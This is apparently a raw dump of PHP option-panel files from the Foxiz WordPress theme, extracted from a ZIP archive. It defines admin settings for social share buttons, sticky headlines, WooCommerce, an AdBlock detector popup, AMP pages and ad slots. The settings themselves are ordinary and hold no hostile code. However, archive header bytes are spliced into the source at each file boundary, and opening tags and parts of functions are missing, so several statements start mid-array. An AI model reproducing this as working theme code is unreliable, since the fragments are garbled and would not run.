=> true, 'default' => 1 ), array( 'id' => 'single_post_highlight_share_twitter', 'type' => 'switch', 'title' => esc_html__( 'Share on Twitter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Twitter.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_highlight_share_reddit', 'type' => 'switch', 'title' => esc_html__( 'Share on Reddit', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Reddit.', 'foxiz' ), 'switch' => true, 'default' => 1 ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_header' ) ) { /** * @return array */ function foxiz_register_options_single_post_header() { return array( 'title' => esc_html__( 'Site Header', 'foxiz' ), 'id' => 'foxiz_config_section_sp_header', 'desc' => esc_html__( 'The setting below will apply to the single post pages.', 'foxiz' ), 'icon' => 'el el-th', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_header_settings_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit for individual post, navigate to "Posts > Edit > Post Options > Site Header".', 'foxiz' ), ), array( 'id' => 'single_post_header_style', 'type' => 'select', 'title' => esc_html__( 'Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a site header style for the single post.', 'foxiz' ), 'options' => foxiz_config_header_style( true, true ), 'description' => esc_html__( 'The transparent headers is only suitable with layouts: Standard 2, Video 2 and Audio 2.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'single_font_resizer', 'type' => 'switch', 'title' => esc_html__( 'Reading Font Resizer', 'foxiz' ), 'subtitle' => esc_html__( 'Show a font size icon that give visitors of your site the option to change the font size of your text.', 'foxiz' ), 'default' => '1' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_sticky' ) ) { /** * @return array */ function foxiz_register_options_single_post_sticky() { return array( 'title' => esc_html__( 'Sticky Headline', 'foxiz' ), 'id' => 'foxiz_config_section_sp_sticky', 'desc' => esc_html__( 'Sticky the single heading and share on socials list when scrolling down.', 'foxiz' ), 'icon' => 'el el-arrow-down', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_single_sticky', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_sticky_title', 'type' => 'switch', 'title' => esc_html__( 'Sticky Headline', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky the single post headline (post title)', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_sticky', 'type' => 'switch', 'title' => esc_html__( 'Show Share Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on socials list in this bar.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_sticky_color', 'type' => 'switch', 'title' => esc_html__( 'Colorful Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable color for social icons.', 'foxiz' ), 'switch' => true, 'default' => false, ), array( 'id' => 'section_end_single_sticky', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_sticky_socials', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Socials List', 'foxiz' ), 'indent' => true ), array( 'id' => 'share_sticky_facebook', 'type' => 'switch', 'title' => esc_html__( 'Facebook', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Facebook.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_sticky_twitter', 'type' => 'switch', 'title' => esc_html__( 'Twitter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Twitter.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_sticky_pinterest', 'type' => 'switch', 'title' => esc_html__( 'Pinterest', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Pinterest.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_whatsapp', 'type' => 'switch', 'title' => esc_html__( 'WhatsApp', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on WhatsApp.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_linkedin', 'type' => 'switch', 'title' => esc_html__( 'LinkedIn', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on LinkedIn.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_tumblr', 'type' => 'switch', 'title' => esc_html__( 'Tumblr', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Tumblr.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_reddit', 'type' => 'switch', 'title' => esc_html__( 'Reddit', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Reddit.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_vk', 'type' => 'switch', 'title' => esc_html__( 'Vkontakte', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Vkontakte.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_telegram', 'type' => 'switch', 'title' => esc_html__( 'Telegram', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Telegram.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_sticky_email', 'type' => 'switch', 'title' => esc_html__( 'Email', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Email.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_sticky_print', 'type' => 'switch', 'title' => esc_html__( 'Print', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the print button.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_sticky_social', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_reading_indicator' ) ) { /** * @return array */ function foxiz_register_options_single_reading_indicator() { return array( 'title' => esc_html__( 'Reading Indicator', 'foxiz' ), 'id' => 'foxiz_config_section_sp_indicator.', 'desc' => esc_html__( 'Display the reading indicator bar at the top site.', 'foxiz' ), 'icon' => 'el el-road', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_reading_indicator', 'type' => 'switch', 'title' => esc_html__( 'Reading Indicator', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the reading indicator bar.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'reading_indicator_height', 'type' => 'text', 'title' => esc_html__( 'Bar Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom height value (px) for this bar. Leave blank to set it as the default.', 'foxiz' ), 'class' => 'small-text', 'default' => '' ), array( 'id' => 'reading_indicator_color', 'type' => 'color_gradient', 'title' => esc_html__( 'Bar Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for this bar.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), ) ); } }PK!n.%%%panels/woocommerce.phpnu[ $id, 'type' => 'info', 'style' => 'warning', 'desc' => html_entity_decode( esc_html__( 'Woocommerce plugin not found! Please install and active Woocommerce to active settings below.', 'foxiz' ) ), ); } return null; } } if ( ! function_exists( 'foxiz_register_options_woocommerce' ) ) { function foxiz_register_options_woocommerce() { return array( 'id' => 'foxiz_config_section_woocommerce', 'title' => esc_html__( 'WooCommerce', 'foxiz' ), 'desc' => esc_html__( 'Select options for the shop.', 'foxiz' ), 'icon' => 'el el-shopping-cart' ); } } /** * @return array * single product */ if ( ! function_exists( 'foxiz_register_options_wc_page' ) ) { function foxiz_register_options_wc_page() { return array( 'id' => 'foxiz_config_section_wc_page', 'title' => esc_html__( 'WooCommerce Pages', 'foxiz' ), 'desc' => esc_html__( 'Select options for the shop and archive and single product pages.', 'foxiz' ), 'icon' => 'el el-folder-open', 'subsection' => true, 'fields' => array( foxiz_wc_plugin_status_info(), array( 'id' => 'section_start_wc_shop', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Shop Page Options', 'foxiz' ), 'indent' => true ), array( 'id' => 'wc_shop_template', 'type' => 'textarea', 'title' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input your template shortcode you would like to use Elementor builder to create a featured section at the top of shop page.', 'foxiz' ), 'placeholder' => '[Ruby_E_Template id="1"]', 'rows' => '2', 'default' => '' ), array( 'id' => 'wc_shop_posts_per_page', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Products per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select number of products per page, leave blank if you want to set as Settings default.', 'foxiz' ), 'switch' => true, 'default' => '' ), array( 'id' => 'wc_shop_sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Shop Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select sidebar position for the shop page if you enabled the sidebar.', 'foxiz' ), 'options' => foxiz_config_sidebar_position( false ), 'default' => 'none' ), array( 'id' => 'wc_shop_sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Shop Sidebar Name', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar for the shop page if you enabled the sidebar.', 'foxiz' ), 'options' => foxiz_config_sidebar_name(), 'default' => 'foxiz_sidebar_default', ), array( 'id' => 'section_end_wc_shop', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_wc_archive', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Shop - Archive Pages Options', 'foxiz' ), 'indent' => true ), array( 'id' => 'wc_archive_sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Archive Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position for product category and archive pages if you enabled the sidebar.', 'foxiz' ), 'options' => foxiz_config_sidebar_position( false ), 'default' => 'none' ), array( 'id' => 'wc_archive_sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Archive Sidebar Name', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar for product category and archive pages if you enabled the sidebar.', 'foxiz' ), 'options' => foxiz_config_sidebar_name(), 'default' => 'foxiz_sidebar_default', ), array( 'id' => 'section_end_wc_archive', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_wc_single', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Single Product Page', 'foxiz' ), 'indent' => true ), array( 'id' => 'wc_box_review', 'type' => 'switch', 'title' => esc_html__( 'Show Review Box', 'foxiz' ), 'subtitle' => esc_html__( 'enable or disable the review box in the single product page.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'wc_related_posts_per_page', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Total Related Products', 'foxiz' ), 'subtitle' => esc_html__( 'Select total related product to show at once. leave blank if you want to set as default.', 'foxiz' ), 'switch' => true, 'default' => '4' ), array( 'id' => 'section_end_wc_single', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } /** * @return array * styling */ if ( ! function_exists( 'foxiz_register_options_wc_style' ) ) { function foxiz_register_options_wc_style() { return array( 'id' => 'foxiz_config_section_wc_style', 'title' => esc_html__( 'Elements Styling', 'foxiz' ), 'desc' => esc_html__( 'Select styling options of your shop.', 'foxiz' ), 'icon' => 'el el-adjust-alt', 'subsection' => true, 'fields' => array( foxiz_wc_plugin_status_info( 'wc_page_info' ), array( 'id' => 'wc_sale_percent', 'type' => 'switch', 'title' => esc_html__( 'Show Percentage Saved', 'foxiz' ), 'subtitle' => esc_html__( 'Display Percentage saved on WooCommerce sale products', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'wc_price_color', 'title' => esc_html__( 'Price Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the product price.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color' ), array( 'id' => 'wc_dark_price_color', 'title' => esc_html__( 'Dark - Price Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the product price in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color' ), array( 'id' => 'wc_star_color', 'title' => esc_html__( 'Review Start Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the stars review.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color' ), array( 'id' => 'wc_dark_star_color', 'title' => esc_html__( 'Dark - Review Start Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the stars review in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color' ), array( 'id' => 'wc_sale_color', 'title' => esc_html__( 'Sale Icon Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color value for the sale icon.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'wc_add_cart_color', 'title' => esc_html__( 'Add to Cart Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the "Add to Cart" button.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'font_product', 'type' => 'typography', 'title' => esc_html__( 'Product Title Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select a custom font for the product title.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_price', 'type' => 'typography', 'title' => esc_html__( 'Price Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select a custom font for the product price.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => true, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-size' => true, 'units' => 'px', 'default' => array() ), ) ); } } PK!mpanels/adblock.phpnu[ 'foxiz_config_section_adblock', 'title' => esc_html__( 'AdBlock Detector', 'foxiz' ), 'desc' => esc_html__( 'Detecting most of the AdBlock extensions and show a popup to disable the extension.', 'foxiz' ), 'icon' => 'el el-minus-sign', 'fields' => array( array( 'id' => 'adblock_detector', 'title' => esc_html__( 'AdBlock Detector', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the adblock detector.', 'foxiz' ), 'type' => 'switch', 'default' => 0 ), array( 'id' => 'adblock_title', 'title' => esc_html__( 'Title', 'foxiz' ), 'subtitle' => esc_html__( 'Input a title for the adblock popup.', 'foxiz' ), 'type' => 'text', 'default' => esc_html__( 'AdBlock Detected', 'foxiz' ), ), array( 'id' => 'adblock_description', 'title' => esc_html__( 'Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input a description for the adblock popup.', 'foxiz' ), 'default' => esc_html__( 'Our site is an advertising supported site. Please whitelist to support our site.', 'foxiz' ), 'type' => 'textarea', ) ) ); } } PK!HYYpanels/amp.phpnu[ $id, 'type' => 'info', 'style' => 'warning', 'desc' => html_entity_decode( esc_html__( 'The AMP plugin not found! Accelerated Mobile Pages support, Please install and activate Automattic AMP plugin to activate settings below.', 'foxiz' ) ), ); } return null; } } if ( ! function_exists( 'foxiz_register_options_amp' ) ) { function foxiz_register_options_amp() { return array( 'id' => 'foxiz_config_section_amp', 'title' => esc_html__( 'AMP', 'foxiz' ), 'desc' => esc_html__( 'Select setting for your website in AMP mode.', 'foxiz' ), 'icon' => 'el el-ok', ); } } if ( ! function_exists( 'foxiz_register_options_amp_general' ) ) { function foxiz_register_options_amp_general() { return array( 'id' => 'foxiz_config_section_amp_general', 'title' => esc_html__( 'General', 'foxiz' ), 'desc' => esc_html__( 'Select setting for your website in AMP mode.', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'fields' => array( foxiz_amp_plugin_status_info( 'general-amp-plugin-info' ), array( 'id' => 'amp-footer-info', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'Each AMP page has a 75,000 byte CSS limit. Foxiz will support a compact footer to ensure your website will meet with this requirement.', 'foxiz' ), ), array( 'id' => 'section_start_amp_general', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Debug Mode', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_debug', 'type' => 'switch', 'title' => esc_html__( 'AMP Debug', 'foxiz' ), 'subtitle' => esc_html__( 'Debug mode will provide more information about the each AMP page such as CSS usages, plugin scripts etc...', 'foxiz' ), 'default' => 0 ), array( 'id' => 'remove_amp_switcher', 'type' => 'switch', 'title' => esc_html__( 'Remove Footer Switcher', 'foxiz' ), 'subtitle' => esc_html__( 'Remove the "Exit Mobile Version" link at the footer.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'section_end_amp_general', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_footer', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'amp_footer Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_footer_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'AMP Footer Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload AMP footer logo.', 'foxiz' ), ), array( 'id' => 'amp_footer_logo_height', 'type' => 'text', 'title' => esc_html__( 'Logo Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a height for value for the footer logo, Default is 50px.', 'foxiz' ) ), array( 'id' => 'amp_footer_social', 'type' => 'switch', 'title' => esc_html__( 'Social Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the social list in this section.', 'foxiz' ), 'default' => true ), array( 'id' => 'amp_footer_bottom_center', 'type' => 'switch', 'title' => esc_html__( 'Centered Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Centering this section.', 'foxiz' ), 'default' => false ), array( 'id' => 'section_end_amp_footer', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_footer_copyright', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Copyright Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_copyright', 'type' => 'switch', 'title' => esc_html__( 'Copyright Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the footer copyright section.', 'foxiz' ), 'description' => esc_html__( 'To setup the copyright area, Please navigate to Footer > Copyright Section.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'section_end_amp_footer_copyright', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_footer_back_top', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Back to Top', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_back_top', 'type' => 'switch', 'title' => esc_html__( 'Back to Top', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the back to top button.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'section_end_amp_back_top', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_amp_single' ) ) { function foxiz_register_options_amp_single() { return array( 'id' => 'foxiz_config_section_amp_single', 'title' => esc_html__( 'Single Post', 'foxiz' ), 'desc' => esc_html__( 'Select setting for the single post your website in AMP mode.', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'fields' => array( foxiz_amp_plugin_status_info( 'single-amp-plugin-info' ), array( 'id' => 'amp-single-info', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'Each AMP page has a 75,000 byte CSS limit, turn off unnecessary section will increase the AMP performance.', 'foxiz' ), ), array( 'id' => 'amp_disable_left_share', 'type' => 'switch', 'title' => esc_html__( 'Fixed Left Share Bar', 'foxiz' ), 'off' => esc_html__( 'Default from Single Settings', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the Author Card in the AMP mode.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'amp_disable_author', 'type' => 'switch', 'title' => esc_html__( 'Author Card', 'foxiz' ), 'off' => esc_html__( 'Default from Single Settings', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the Author Card in the AMP mode.', 'foxiz' ), 'default' => 0 ), array( 'id' => 'amp_disable_single_pagination', 'type' => 'switch', 'title' => esc_html__( 'Next/Prev Articles', 'foxiz' ), 'off' => esc_html__( 'Default from Single Settings', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the Next/Prev Articles section in the AMP mode.', 'foxiz' ), 'default' => 0 ), array( 'id' => 'amp_disable_comment', 'type' => 'switch', 'title' => esc_html__( 'Comment Box', 'foxiz' ), 'off' => esc_html__( 'Default', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable comment form on AMP site.', 'foxiz' ), 'default' => 0 ), array( 'id' => 'amp_disable_related', 'type' => 'switch', 'title' => esc_html__( 'Related Section', 'foxiz' ), 'off' => esc_html__( 'Default from Single Settings', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the related section in the AMP mode.', 'foxiz' ), 'default' => 0 ), array( 'id' => 'amp_disable_single_sidebar', 'type' => 'switch', 'title' => esc_html__( 'Sidebar Section', 'foxiz' ), 'off' => esc_html__( 'Default from Single Settings', 'foxiz' ), 'on' => esc_html__( 'Disable on AMP', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the single post sidebar section in the AMP mode.', 'foxiz' ), 'default' => 1 ), ) ); } } if ( ! function_exists( 'foxiz_register_options_amp_auto_ads' ) ) { function foxiz_register_options_amp_auto_ads() { return array( 'id' => 'foxiz_config_section_amp_auto_ads', 'title' => esc_html__( 'AMP Auto Ads', 'foxiz' ), 'desc' => esc_html__( 'Select setting for auto ads in AMP mode.', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'fields' => array( foxiz_amp_plugin_status_info( 'auto-ads-amp-plugin-info' ), array( 'id' => 'amp-auto-ads-info', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'Auto ads for AMP automatically place AdSense Auto ads on your AMP pages. Google will automatically show ads on your AMP pages at optimal times when they are likely to perform well and provide a good experience.', 'foxiz' ), ), array( 'id' => 'amp_ad_auto_code', 'title' => esc_html__( 'AMP Auto Ads Code', 'foxiz' ), 'subtitle' => esc_html__( 'Input your amp auto ads code.', 'foxiz' ), 'type' => 'textarea', 'placeholder' => esc_html( '' ), 'default' => '' ), ) ); } } if ( ! function_exists( 'foxiz_register_options_amp_ads' ) ) { function foxiz_register_options_amp_ads() { return array( 'id' => 'foxiz_config_section_amp_ads', 'title' => esc_html__( 'AMP Ads', 'foxiz' ), 'desc' => esc_html__( 'Select setting for ads in AMP mode.', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'fields' => array( foxiz_amp_plugin_status_info( 'ads-amp-plugin-info' ), array( 'id' => 'amp-ads-info', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'Leave blank AMP auto ads if you would like to use the ad units.', 'foxiz' ), ), array( 'id' => 'section_start_amp_header_advert', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Header Ad Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_header_ad_type', 'type' => 'select', 'title' => esc_html__( 'Header - Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select your ad type to display at the header.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Adsense --', 'foxiz' ), '2' => esc_html__( 'AMP Custom Script Ad', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_header_adsense_client', 'type' => 'text', 'required' => array( 'amp_header_ad_type', '=', '1' ), 'title' => esc_html__( 'Header - Data Ad Client', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-client number ID (without ca-pub-).', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_header_adsense_slot', 'type' => 'text', 'required' => array( 'amp_header_ad_type', '=', '1' ), 'title' => esc_html__( 'Header - Data Ad Slot', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-slot number ID.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_header_adsense_size', 'type' => 'select', 'required' => array( 'amp_header_ad_type', '=', '1' ), 'title' => esc_html__( 'Header - Adsense Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size for this ad.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Responsive --', 'foxiz' ), '2' => esc_html__( 'Fixed Height (90px)', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_header_ad_code', 'type' => 'textarea', 'required' => array( 'amp_header_ad_type', '=', '2' ), 'title' => esc_html__( 'Header - AMP Custom Ad Script', 'foxiz' ), 'subtitle' => esc_html__( 'Input your AMP custom ad script.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_amp_header_advert', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_footer_advert', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Footer Ad Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_footer_ad_type', 'type' => 'select', 'title' => esc_html__( 'Footer - Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select your ad type to display at the footer.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Adsense --', 'foxiz' ), '2' => esc_html__( 'AMP Custom Script Ad', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_footer_adsense_client', 'type' => 'text', 'required' => array( 'amp_footer_ad_type', '=', '1' ), 'title' => esc_html__( 'Footer - Data Ad Client', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-client number ID (without ca-pub-).', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_footer_adsense_slot', 'type' => 'text', 'required' => array( 'amp_footer_ad_type', '=', '1' ), 'title' => esc_html__( 'Footer - Data Ad Slot', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-slot number ID.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_footer_adsense_size', 'type' => 'select', 'required' => array( 'amp_footer_ad_type', '=', '1' ), 'title' => esc_html__( 'Footer - Adsense Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size for this ad.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Responsive --', 'foxiz' ), '2' => esc_html__( 'Fixed Height (90px)', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_footer_ad_code', 'type' => 'textarea', 'required' => array( 'amp_footer_ad_type', '=', '2' ), 'title' => esc_html__( 'Footer - AMP Custom Ad Script', 'foxiz' ), 'subtitle' => esc_html__( 'Input your AMP custom ad script.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_amp_footer_advert', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_top_single_advert', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Top Single Content Ad Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_top_single_ad_type', 'type' => 'select', 'title' => esc_html__( 'Top - Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select your ad type to display at the top single content.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Adsense --', 'foxiz' ), '2' => esc_html__( 'AMP Custom Script Ad', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_top_single_adsense_client', 'type' => 'text', 'required' => array( 'amp_top_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Top - Data Ad Client', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-client number ID (without ca-pub-).', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_top_single_adsense_slot', 'type' => 'text', 'required' => array( 'amp_top_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Top - Data Ad Slot', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-slot number ID.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_top_single_adsense_size', 'type' => 'select', 'required' => array( 'amp_top_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Top - Adsense Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size for this ad.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Responsive --', 'foxiz' ), '2' => esc_html__( 'Fixed Height (90px)', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_top_single_ad_code', 'type' => 'textarea', 'required' => array( 'amp_top_single_ad_type', '=', '2' ), 'title' => esc_html__( 'Top - AMP Custom Ad Script', 'foxiz' ), 'subtitle' => esc_html__( 'Input your AMP custom ad script.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_amp_top_single_advert', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), /** bottom single */ array( 'id' => 'section_start_amp_bottom_single_advert', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Bottom Single Content Ad Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_bottom_single_ad_type', 'type' => 'select', 'title' => esc_html__( 'Bottom - Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select your ad type to display at the bottom single content.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Adsense --', 'foxiz' ), '2' => esc_html__( 'AMP Custom Script Ad', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_bottom_single_adsense_client', 'type' => 'text', 'required' => array( 'amp_bottom_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Bottom - Data Ad Client', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-client number ID (without ca-pub-).', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_bottom_single_adsense_slot', 'type' => 'text', 'required' => array( 